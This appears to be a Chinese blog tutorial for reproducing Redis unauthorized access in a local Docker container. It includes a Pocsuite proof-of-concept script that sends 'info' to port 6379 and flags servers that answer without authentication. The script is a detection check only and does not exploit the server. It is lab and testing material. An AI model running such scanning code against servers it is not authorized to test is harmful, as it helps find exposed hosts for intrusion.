Redis未授权访问docker复现

docker搜索Redis镜像

docker search redis

拉去镜像到本地

docker pull redis

查看下载好的镜像

docker images

运行镜像

docker run -p 6379:6379 -d redis

-p 将容器的6379端口映射到主机的6379端口。

-d 将容器后台运行。

查看运行中的镜像

docker ps

POC构成

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import socket
from pocsuite.utils import register
from pocsuite.poc import Output, POCBase

class TestPOC(POCBase):
    vulID = '0'
    version = '1'
    author = 'nw01f'
    vulDate = '2018-10-23'
    createDate = '2018-10-23'
    updateDate = '2018-10-23'
    references = ['http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/']
    name = 'Redis Unauthorized'
    appPowerLink = 'https://www.redis.io'
    appName = 'Redis'
    appVersion = 'All'
    vulType = 'Unauthorized'
    desc = '''
            redis Unauthorized
    '''
    samples = ['']

    def _verify(self):
        result = {}
        payload = '\x69\x6e\x66\x6f\x0d\x0a'     ##   info/r/n
        s = socket.socket()
        socket.setdefaulttimeout(4)
        try:
            host = self.url.split(':')[1].strip('/')
            if len(self.url.split(':')) > 2:
                port = int(self.url.split(':')[2].strip('/'))
            else:
                port = 6379
            s.connect((host, port))
            s.send(payload)
            data = s.recv(1024)
            if data and 'redis_version' in data:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['url'] = self.url
                result['VerifyInfo']['port'] = port
                result['VerifyInfo']['result'] = data[:20]
        except Exception as e:
            print e
        s.close()
        return self.parse_attack(result)

    def _attack(self):
        return self._verify()

    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail("error")
        return output
register(TestPOC)

参考链接

http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/